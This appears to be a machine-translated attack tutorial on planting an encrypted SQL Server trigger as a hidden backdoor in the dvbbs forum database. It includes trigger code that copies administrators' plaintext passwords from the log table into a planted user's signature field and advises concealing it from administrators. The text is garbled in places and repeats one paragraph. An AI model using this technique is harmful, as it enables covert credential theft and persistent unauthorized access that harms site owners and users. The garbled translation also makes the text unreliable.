SQL Server database trigger Security Risks

SQL Server database trigger Security Risks

Trigger permission and ownership

By default, the create trigger permission is granted to the table owner, sysadmin fixed server role members, db_owner, and db_ddladmin fixed database role members who define the TRIGGER, and cannot be transferred.

　　Required Environment

The environment required in this article is that you have obtained one of the preceding permissions of the SQL Server, in order to leave a hidden backdoor that is not discovered by the Administrator. Even if it is found, it is encrypted (it can be cracked, but some administrators do not understand it, and do not pay attention to it. The related information is google ).

A trigger is a stored procedure that is automatically executed when a table is inserted (insert), updated (update), or deleted (delete. The most common method is to record the history of sensitive data operations.

This article takes the online forum dvbbs as an example. We have obtained the db_owner permission (Note: it does not mean that the dvbbs itself has a vulnerability ). Because it is only the db_owner permission, the reader wants to execute "xp_mongoshell" and will not be in the scope of this article. I believe that after reading this article, as long as there is a system permission, it is easy to create a system backdoor. Let's first think about what we usually do and care about when using databases.

　　Why use a trigger as a backdoor?

The Administrator first executes the SQL file and then imports the mdb content. At most backups are usually used to restore the content. Generally, no one looks at the trigger content. You can run the command "exec sp_helptrigger 'DV _ admin'" to view the trigger, or select "manage trigger" in the Enterprise Manager ". Because the trigger is not used at all for the Internet, and the trigger is not mentioned, the Internet administrator will not check the trigger. Therefore, the content we write in it is relatively safe.

　　Ideas

The trigger is mainly used to record the history. Of course, you can change the administrator password and add the user's history. Put it in a place that the Administrator usually does not pay attention to and can be seen by common users.

The password of the mobile network is encrypted by md5, And the encryption operation is completed by the asp program on the server. When the database obtains the data, it is encrypted. However, it is convenient for us to add the password to the dv_log table in plaintext at the same time. As long as you get the content of the l_content field in the dv_log table and determine whether the Administrator is performing sensitive operations, the backdoor concept is formed.

Usage process-code parsing

Code snippet: Create a trigger.

Create trigger dv_admin_history

On Dv_log

With encryption

For insertas

As

The trigger must be created on the Dv_log table, where the plaintext password is entered. We do not know how long the administrator password is set. We can only retrieve all the fields with the password. The trigger should be encrypted. After encryption, even if the Administrator sees the trigger, he does not know what it is. Execute the trigger when inserting (adding) data.

The obtained value should be placed in a place that common users can see, so that they can see the password as long as they have the permissions of common users. Field administrators who have the maximum data storage capacity in a database are usually able to see it. Therefore, you must find a place that the Administrator will not check, and other users will not pay attention.

I chose to put it in the user information of a new user (hereinafter referred to as this user as "Wang Cai", kindly), so that we can see it at login (note: logs are logged during login, And the last logon ip address is recorded. You can solve the problem by yourself ).

The following fields are suitable for storage:

1. Userphoto, field type: varchar (255 ). Recorded the photo address of Wang Cai. It can store less than 255 of data.

2. Usersign. Field Type: varchar (255 ). If Wang Cai's signature is put here, Wang Cai will not be able to post it, otherwise the consequences will be at your own risk (the post will display the signature, and everyone on Earth will see it ).

3. Useremail, field type: nvarchar (255 ). Wang Cai's email needs to be converted for use.

4. Userinfo. Field Type: text. Wang Cai's user information. This field is special and has many "", each of which has different meanings. The Internet is very lazy. In order to avoid too many fields, a pile of information is put into one field and separated by "". When querying a certain item of information, all information is obtained, next, we split it into the required data.

Solved problems:

1. If all of them are full.

In theory, if we see something in the first field, take notes and delete it. The trigger automatically checks the size and continues to use it. I would like to emphasize that the examples in this article are specific to the dynamic network.

2. There are a lot of logs in the Administrator's log. How can I determine that it is recording and changing the password.

When the Administrator operates a user, the user will be operated in "user. asp" or "admin. asp". Therefore, we need to determine the conditions:

Select @ passinfo = l_content from inserted where l_type = 1 and (l_touser = 'user. asp 'or l_touser = 'admin. asp ')

When l_touser is user. asp or admin. asp, the Administrator is operating (viewing, updating, and deleting) the user or administrator. When l_type = 1, the update operation is performed. The Rochelle content field contains a password (if the administrator updates the password or creates a new account ). Therefore, to query the l_content In the inserted Table, assign the value to @ passinfo code snippet: update the usersign field of Wang Cai.

If (len (@ usersign) <150 or @ usersign is null)

Begin if (@ usersign is null)

Set @ usersign =''

Set @ passinfo = @ usersign + @ passinfo

Update Dv_User set usersign = @ passinfo where username = @ username

Commit tran

Returnend

End

When it is updated for the first time, there is no content in the usersign field, and the null addition in SQL Server is null. Therefore, you need to judge whether it is null and assign null a space. The methods for other fields are similar to those in this example, but there are more points when converting the combination of nvarchar and. The final judgment will not be written if there are too many fields. To improve the performance, you can also write the final judgment in front. Once there is too much data, you do not need to continue the execution.

When updating for the first time, Wang Cai's usersign field contains no content, while the null addition in SQL Server is null. Therefore, after determining whether it is null, assign null a space. The methods for other fields are similar to those in this example, but there are more points when converting the combination of nvarchar and. The final judgment will not be written if there are too many fields. To improve the performance, you can also write the final judgment in front. Once there is too much data, you do not need to continue the execution.